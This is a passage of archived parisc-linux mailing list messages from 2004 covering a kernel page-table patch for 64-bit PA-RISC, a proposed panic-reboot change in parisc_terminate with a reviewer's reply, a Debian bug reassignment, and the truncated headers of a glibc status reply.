	i41K9Aa22410; Sat, 1 May 2004 16:09:10 -0400
In-Reply-To: <20040501200312.40BB74945E1@palinux.hppa>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 01 May 2004 20:09:12 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21584

On Sat, 2004-05-01 at 15:03, James Bottomley wrote:
> CVSROOT:	/var/cvs
> Module name:	linux-2.6
> Changes by:	jejb	04/05/01 14:03:11
> 
> Modified files:
> 	.              : Makefile 
> 	arch/parisc/kernel: asm-offsets.c entry.S head64.S 
> 	include/asm-parisc: page.h pgalloc.h pgtable.h 
> 
> Log message:
> Increase the maximum physical and virtual space available to
> the 64 bit kernel from 512GB to 8TB
> 
> As jsm pointed out, we could do a depd,z on the pgd and pmd entries
> instead to compress our unused bits in the flags.  However, for the
> moment, I elected to allocate the pte and pmd in ZONE_DMA instead.

===== arch/parisc/kernel/asm-offsets.c 1.8 vs edited =====
--- 1.8/arch/parisc/kernel/asm-offsets.c	Sat May  1 05:20:09 2004
+++ edited/arch/parisc/kernel/asm-offsets.c	Sat May  1 12:50:25 2004
@@ -282,8 +282,8 @@
 	DEFINE(ASM_BITS_PER_PGD, BITS_PER_PGD);
 	DEFINE(ASM_BITS_PER_PMD, BITS_PER_PMD);
 	DEFINE(ASM_BITS_PER_PTE, BITS_PER_PTE);
-	DEFINE(ASM_PMD_ENTRY, ((__PAGE_OFFSET & PMD_MASK) >> PMD_SHIFT));
-	DEFINE(ASM_PGD_ENTRY, __PAGE_OFFSET >> PGDIR_SHIFT);
+	DEFINE(ASM_PMD_ENTRY, ((PAGE_OFFSET & PMD_MASK) >> PMD_SHIFT));
+	DEFINE(ASM_PGD_ENTRY, PAGE_OFFSET >> PGDIR_SHIFT);
 	DEFINE(ASM_PGD_ENTRY_SIZE, PGD_ENTRY_SIZE);
 	DEFINE(ASM_PMD_ENTRY_SIZE, PMD_ENTRY_SIZE);
 	DEFINE(ASM_PTE_ENTRY_SIZE, PTE_ENTRY_SIZE);
===== arch/parisc/kernel/entry.S 1.19 vs edited =====
--- 1.19/arch/parisc/kernel/entry.S	Sat May  1 05:20:09 2004
+++ edited/arch/parisc/kernel/entry.S	Sat May  1 14:58:00 2004
@@ -453,7 +453,10 @@
 	.endm
 
 	/* Look up a PTE in a 2-Level scheme (faulting at each
-	 * level if the entry isn't present */
+	 * level if the entry isn't present 
+	 *
+	 * NOTE: we use ldw even for LP64 because our pte
+	 * and pmd are allocated <4GB */
 	.macro		L2_ptep	pmd,pte,index,va,fault
 #if PT_NLEVELS == 3
 	EXTR		\va,31-ASM_PMD_SHIFT,ASM_BITS_PER_PMD,\index
@@ -462,7 +465,7 @@
 #endif
 	DEP		%r0,31,PAGE_SHIFT,\pmd	/* clear offset */
 	copy		%r0,\pte
-	LDREG,s		\index(\pmd),\pmd
+	ldw,s		\index(\pmd),\pmd
 	EXTR		\va,31-PAGE_SHIFT,ASM_BITS_PER_PTE,\index
 	bb,>=,n		\pmd,_PAGE_PRESENT_BIT,\fault
 	DEP		%r0,31,PAGE_SHIFT,\pmd	/* clear offset */
@@ -475,7 +478,7 @@
 	.macro		L3_ptep pgd,pte,index,va,fault
 	extrd,u		\va,63-ASM_PGDIR_SHIFT,ASM_BITS_PER_PGD,\index
 	copy		%r0,\pte
-	ldd,s		\index(\pgd),\pgd
+	ldw,s		\index(\pgd),\pgd
 	bb,>=,n		\pgd,_PAGE_PRESENT_BIT,\fault
 	L2_ptep		\pgd,\pte,\index,\va,\fault
 	.endm
===== arch/parisc/kernel/head64.S 1.7 vs edited =====
--- 1.7/arch/parisc/kernel/head64.S	Sat May  1 05:20:09 2004
+++ edited/arch/parisc/kernel/head64.S	Sat May  1 12:52:13 2004
@@ -88,16 +88,16 @@
 	mtctl		%r4,%cr24	/* Initialize kernel root pointer */
 	mtctl		%r4,%cr25	/* Initialize user root pointer */
 
-	std             %r3,ASM_PGD_ENTRY*ASM_PGD_ENTRY_SIZE(%r4)
+	stw             %r3,ASM_PGD_ENTRY*ASM_PGD_ENTRY_SIZE(%r4)
 
 	ldo		_PAGE_TABLE(%r1),%r3
-	std             %r3,(ASM_PMD_ENTRY * ASM_PMD_ENTRY_SIZE) (%r5)
+	stw             %r3,(ASM_PMD_ENTRY * ASM_PMD_ENTRY_SIZE) (%r5)
 	ldo		0x1000(%r3),%r3
-	std             %r3,((ASM_PMD_ENTRY + 1)*ASM_PMD_ENTRY_SIZE)(%r5)
+	stw             %r3,((ASM_PMD_ENTRY + 1)*ASM_PMD_ENTRY_SIZE)(%r5)
 	ldo		0x1000(%r3),%r3
-	std             %r3,((ASM_PMD_ENTRY + 2)*ASM_PMD_ENTRY_SIZE)(%r5)
+	stw             %r3,((ASM_PMD_ENTRY + 2)*ASM_PMD_ENTRY_SIZE)(%r5)
 	ldo		0x1000(%r3),%r3
-	std             %r3,((ASM_PMD_ENTRY + 3)*ASM_PMD_ENTRY_SIZE)(%r5)
+	stw             %r3,((ASM_PMD_ENTRY + 3)*ASM_PMD_ENTRY_SIZE)(%r5)
 
 	ldo		_PAGE_KERNEL(%r0),%r3 /* Hardwired 0 phys addr start */
 $pgt_fill_loop:
===== include/asm-parisc/page.h 1.8 vs edited =====
--- 1.8/include/asm-parisc/page.h	Fri Apr 30 05:40:20 2004
+++ edited/include/asm-parisc/page.h	Sat May  1 14:53:09 2004
@@ -40,8 +40,10 @@
  * These are used to make use of C type-checking..
  */
 typedef struct { unsigned long pte; } pte_t;
-typedef struct { unsigned long pmd; } pmd_t;
-typedef struct { unsigned long pgd; } pgd_t;
+/* NOTE: even on 64 bits, these entries are __u32 because we allocate
+ * the pmd and pgd in ZONE_DMA (i.e. under 4GB) */
+typedef struct { __u32 pmd; } pmd_t;
+typedef struct { __u32 pgd; } pgd_t;
 typedef struct { unsigned long pgprot; } pgprot_t;
 
 #define pte_val(x)	((x).pte)
@@ -89,8 +91,8 @@
  */
 #ifdef __LP64__
 #define BITS_PER_PTE_ENTRY	3
-#define BITS_PER_PMD_ENTRY	3
-#define BITS_PER_PGD_ENTRY	3
+#define BITS_PER_PMD_ENTRY	2
+#define BITS_PER_PGD_ENTRY	2
 #else
 #define BITS_PER_PTE_ENTRY	2
 #define BITS_PER_PMD_ENTRY	2
===== include/asm-parisc/pgalloc.h 1.10 vs edited =====
--- 1.10/include/asm-parisc/pgalloc.h	Fri Apr 30 05:40:20 2004
+++ edited/include/asm-parisc/pgalloc.h	Sat May  1 14:54:36 2004
@@ -30,12 +30,14 @@
 
 static inline void pgd_populate(struct mm_struct *mm, pgd_t *pgd, pmd_t *pmd)
 {
-	pgd_val(*pgd) = _PAGE_TABLE + __pa((unsigned long)pmd);
+	pgd_val(*pgd) = _PAGE_TABLE + (__u32)__pa((unsigned long)pmd);
 }
 
+/* NOTE: pmd must be in ZONE_DMA (<4GB) so the pgd pointer can be
+ * housed in 32 bits */
 static inline pmd_t *pmd_alloc_one(struct mm_struct *mm, unsigned long address)
 {
-	pmd_t *pmd = (pmd_t *)__get_free_pages(GFP_KERNEL|__GFP_REPEAT,
+	pmd_t *pmd = (pmd_t *)__get_free_pages(GFP_KERNEL|__GFP_REPEAT|GFP_DMA,
 					       PMD_ORDER);
 	if (pmd)
 		memset(pmd, 0, PAGE_SIZE<<PMD_ORDER);
@@ -65,16 +67,18 @@
 static inline void
 pmd_populate_kernel(struct mm_struct *mm, pmd_t *pmd, pte_t *pte)
 {
-	pmd_val(*pmd) = _PAGE_TABLE + __pa((unsigned long)pte);
+	pmd_val(*pmd) = _PAGE_TABLE + (__u32)__pa((unsigned long)pte);
 }
 
 #define pmd_populate(mm, pmd, pte_page) \
 	pmd_populate_kernel(mm, pmd, page_address(pte_page))
 
+/* NOTE: pte must be in ZONE_DMA (<4GB) so that the pmd pointer
+ * can be housed in 32 bits */
 static inline struct page *
 pte_alloc_one(struct mm_struct *mm, unsigned long address)
 {
-	struct page *page = alloc_page(GFP_KERNEL|__GFP_REPEAT);
+	struct page *page = alloc_page(GFP_KERNEL|__GFP_REPEAT|GFP_DMA);
 	if (likely(page != NULL))
 		clear_page(page_address(page));
 	return page;
@@ -83,7 +87,7 @@
 static inline pte_t *
 pte_alloc_one_kernel(struct mm_struct *mm, unsigned long addr)
 {
-	pte_t *pte = (pte_t *)__get_free_page(GFP_KERNEL|__GFP_REPEAT);
+	pte_t *pte = (pte_t *)__get_free_page(GFP_KERNEL|__GFP_REPEAT|GFP_DMA);
 	if (likely(pte != NULL))
 		clear_page(pte);
 	return pte;
===== include/asm-parisc/pgtable.h 1.19 vs edited =====
--- 1.19/include/asm-parisc/pgtable.h	Sat May  1 05:20:20 2004
+++ edited/include/asm-parisc/pgtable.h	Sat May  1 13:00:07 2004
@@ -43,9 +43,9 @@
 #define pte_ERROR(e) \
 	printk("%s:%d: bad pte %08lx.\n", __FILE__, __LINE__, pte_val(e))
 #define pmd_ERROR(e) \
-	printk("%s:%d: bad pmd %08lx.\n", __FILE__, __LINE__, pmd_val(e))
+	printk("%s:%d: bad pmd %08lx.\n", __FILE__, __LINE__, (unsigned long)pmd_val(e))
 #define pgd_ERROR(e) \
-	printk("%s:%d: bad pgd %08lx.\n", __FILE__, __LINE__, pgd_val(e))
+	printk("%s:%d: bad pgd %08lx.\n", __FILE__, __LINE__, (unsigned long)pgd_val(e))
 
  /* Note: If you change ISTACK_SIZE, you need to change the corresponding
   * values in vmlinux.lds and vmlinux64.lds (init_istack section). Also,
@@ -65,8 +65,8 @@
 #ifdef __LP64__
 #define PT_NLEVELS	3
 #define PT_INITIAL	4 /* Number of initial page tables */
-#define PGD_ORDER	0 /* Number of pages per pgd */
-#define PMD_ORDER	0 /* Number of pages per pmd */
+#define PGD_ORDER	1 /* Number of pages per pgd */
+#define PMD_ORDER	1 /* Number of pages per pmd */
 #else
 #define PT_NLEVELS	2
 #define PT_INITIAL	2 /* Number of initial page tables */



From - Thu Nov 08 21:32:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Changing hppa default on panic to "reboot after 180
	seconds"?
Date: Sat, 1 May 2004 18:33:43 -0400
Lines: 17
Approved: news@gmane.org
Message-ID: <20040501223343.GX12850@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623427 9199 80.91.229.3 (22 Nov 2014 02:30:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:27 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: carlos@baldric.uwo.ca  Sat May  1 16:34:26 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 015054834
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  1 May 2004 16:34:26 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1BK33H-0003ZT-00 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 01 May 2004 18:33:43 -0400
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (83% Sync Ratio [========..])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 01 May 2004 22:34:26 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21585


parisc-linux,

I do a lot of my work remotely on older parisc boxes, and I usually slam
the kernel into a panic. Previously I had my entire cluster of 32+ boxes
running, so I could crash 32 times before having to go into the office.
Lately I've been a little more power conservative.

I remember having lots more fun on my PowerPC box because it would
reboot after 180 seconds after a panic.

Would anyone be opposed to adding 'panic_timeout = 180' in our
arch/parisc/kernel/setup.c:setup_arch()? :)

c.



From - Thu Nov 08 21:32:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Changing hppa default on panic to "reboot after
	180 seconds"?
Date: Sat, 1 May 2004 18:45:54 -0400
Lines: 20
Approved: news@gmane.org
Message-ID: <20040501224554.GY12850@baldric.uwo.ca>
References: <20040501223343.GX12850@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623428 9201 80.91.229.3 (22 Nov 2014 02:30:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:28 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: carlos@baldric.uwo.ca  Sat May  1 16:46:36 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 713614834
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  1 May 2004 16:46:36 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1BK3F4-0003cc-00 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 01 May 2004 18:45:54 -0400
Content-Disposition: inline
In-Reply-To: <20040501223343.GX12850@baldric.uwo.ca>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (83% Sync Ratio [========..])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 01 May 2004 22:46:36 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21586

On Sat, May 01, 2004 at 06:33:43PM -0400, Carlos O'Donell wrote:
> 
> parisc-linux,
> 
> I do a lot of my work remotely on older parisc boxes, and I usually slam
> the kernel into a panic. Previously I had my entire cluster of 32+ boxes
> running, so I could crash 32 times before having to go into the office.
> Lately I've been a little more power conservative.
> 
> I remember having lots more fun on my PowerPC box because it would
> reboot after 180 seconds after a panic.
> 
> Would anyone be opposed to adding 'panic_timeout = 180' in our
> arch/parisc/kernel/setup.c:setup_arch()? :)

Ignore this please... I missed the __setup("panic=", panic_setup) line.

c.



From - Thu Nov 08 21:32:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Changing hppa default on panic to "reboot after
	180 seconds"?
Date: Sat, 1 May 2004 18:55:08 -0400
Lines: 53
Approved: news@gmane.org
Message-ID: <20040501225507.GZ12850@baldric.uwo.ca>
References: <20040501223343.GX12850@baldric.uwo.ca>
	<20040501224554.GY12850@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623428 9202 80.91.229.3 (22 Nov 2014 02:30:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:28 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: carlos@baldric.uwo.ca  Sat May  1 16:55:50 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 23ABF4834
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  1 May 2004 16:55:50 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1BK3O0-0003dp-00 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 01 May 2004 18:55:08 -0400
Content-Disposition: inline
In-Reply-To: <20040501224554.GY12850@baldric.uwo.ca>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (83% Sync Ratio [========..])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 01 May 2004 22:55:50 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21587

On Sat, May 01, 2004 at 06:45:54PM -0400, Carlos O'Donell wrote:
> On Sat, May 01, 2004 at 06:33:43PM -0400, Carlos O'Donell wrote:
> > 
> > parisc-linux,
> > 
> > I do a lot of my work remotely on older parisc boxes, and I usually slam
> > the kernel into a panic. Previously I had my entire cluster of 32+ boxes
> > running, so I could crash 32 times before having to go into the office.
> > Lately I've been a little more power conservative.
> > 
> > I remember having lots more fun on my PowerPC box because it would
> > reboot after 180 seconds after a panic.
> > 
> > Would anyone be opposed to adding 'panic_timeout = 180' in our
> > arch/parisc/kernel/setup.c:setup_arch()? :)
> 
> Ignore this please... I missed the __setup("panic=", panic_setup) line.

So how about this hookup?

Index: arch/parisc/kernel/traps.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/traps.c,v
retrieving revision 1.13
diff -u -p -r1.13 traps.c
--- a/arch/parisc/kernel/traps.c	28 Apr 2004 19:12:10 -0000	1.13
+++ b/arch/parisc/kernel/traps.c	1 May 2004 22:54:34 -0000
@@ -404,9 +404,9 @@ void transfer_pim_to_trap_frame(struct p
 
 
 /*
- * This routine handles page faults.  It determines the address,
- * and the problem, and then passes it off to one of the appropriate
- * routines.
+ * This routine is called as a last resort when everything else
+ * has gone clearly wrong. We get called for faults in kernel space,
+ * and HPMC's.
  */
 void parisc_terminate(char *msg, struct pt_regs *regs, int code, unsigned long offset)
 {
@@ -452,9 +452,8 @@ void parisc_terminate(char *msg, struct 
 	 * system will shut down immediately right here. */
 	pdc_soft_power_button(0);
 	
-	/* Gutter the processor! */
-	for(;;)
-	    ;
+	/* Call kernel panic() so reboot timeouts work properly */
+	panic(msg);
 }
 
 void handle_interruption(int code, struct pt_regs *regs)


From - Thu Nov 08 21:32:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Changing hppa default on panic to "reboot after
	180 seconds"?
Date: Sun, 2 May 2004 01:55:16 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <20040502005516.GE2281@parcelfarce.linux.theplanet.co.uk>
References: <20040501223343.GX12850@baldric.uwo.ca>
	<20040501224554.GY12850@baldric.uwo.ca>
	<20040501225507.GZ12850@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623428 9207 80.91.229.3 (22 Nov 2014 02:30:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:28 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: willy@www.linux.org.uk  Sat May  1 18:55:18 2004
Return-Path: <willy@www.linux.org.uk>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5A2F44834
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  1 May 2004 18:55:18 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1BK5GG-0003gb-C5; Sun, 02 May 2004 01:55:16 +0100
Content-Disposition: inline
In-Reply-To: <20040501225507.GZ12850@baldric.uwo.ca>
User-Agent: Mutt/1.4.1i
Original-Sender: <willy@www.linux.org.uk>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 02 May 2004 00:55:18 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21588

On Sat, May 01, 2004 at 06:55:08PM -0400, Carlos O'Donell wrote:
> So how about this hookup?
> 
> @@ -452,9 +452,8 @@ void parisc_terminate(char *msg, struct 
>  	 * system will shut down immediately right here. */
>  	pdc_soft_power_button(0);
>  	
> -	/* Gutter the processor! */
> -	for(;;)
> -	    ;
> +	/* Call kernel panic() so reboot timeouts work properly */
> +	panic(msg);
>  }

We already output the msg; doing this would output it twice ...

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain


From - Thu Nov 08 21:32:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: GOTO Masanori <gotom@debian.or.jp>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Bug#219458: debian hppa touch fails to set atime
	and mtime (5.0.91-2)
Date: Sun, 02 May 2004 11:20:35 +0900
Lines: 13
Approved: news@gmane.org
Message-ID: <81fzaja7t8.wl__24916.1570020535$1416623429$gmane$org@omega.webmasters.gr.jp>
References: <20031229015759.GF27911@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (generated by SEMI 1.14.3 - "Ushinoya")
Content-Type: text/plain; charset=US-ASCII
X-Trace: ger.gmane.org 1416623429 9210 80.91.229.3 (22 Nov 2014 02:30:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:29 +0000 (UTC)
Cc: Jeff Bailey <jbailey@nisa.net>, parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>, 219458@bugs.debian.org,
	control@bugs.debian.org
Original-X-From: gotom@debian.or.jp  Sat May  1 20:20:37 2004
Return-Path: <gotom@debian.or.jp>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmasters.gr.jp (omega.webmasters.gr.jp [218.44.239.78])
	by dsl2.external.hp.com (Postfix) with ESMTP id CE0B84834
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  1 May 2004 20:20:36 -0600 (MDT)
Original-Received: from omega.webmasters.gr.jp (localhost [127.0.0.1])
	by webmasters.gr.jp (Postfix) with ESMTP
	id 1F7F4DEDF5; Sun,  2 May 2004 11:20:35 +0900 (JST)
In-Reply-To: <20031229015759.GF27911@systemhalted>
User-Agent: Wanderlust/2.9.9 (Unchained Melody) SEMI/1.14.3 (Ushinoya)
	FLIM/1.14.3 (=?ISO-8859-4?Q?Unebigory=F2mae?=) APEL/10.3 Emacs/21.2
	(i386-debian-linux-gnu) MULE/5.0 (SAKAKI)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 02 May 2004 02:20:37 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21589

reassign 219458 coreutils
thanks

At Sun, 28 Dec 2003 20:58:00 -0500,
Carlos O'Donell wrote:
> I suggest moving this to coreutils and have them rebuild?

Thanks Carlos, I reassign it to coreutils.  Coreutils maintainer,
please look at this.

Regards,
-- gotom


From - Thu Nov 08 21:32:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] hppa glibc status 2004-05-01
Date: Mon, 3 May 2004 16:28:05 +0000
Lines: 64
Approved: news@gmane.org
Message-ID: <408D439D00004B0C@ocpmta3.freegates.net>
References: <20040501180143.GW12850@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623429 9214 80.91.229.3 (22 Nov 2014 02:30:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:29 +0000 (UTC)
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: soete.joel@tiscali.be  Mon May  3 14:26:16 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id C0D54483D
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  3 May 2004 14:26:15 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 1BKgIY-0001lX-00; Mon, 03 May 2004 18:28:06 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Mon, 3 May 2004 18:28:05 +0200
In-Reply-To: <20040501180143.GW12850@baldric.uwo.ca>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
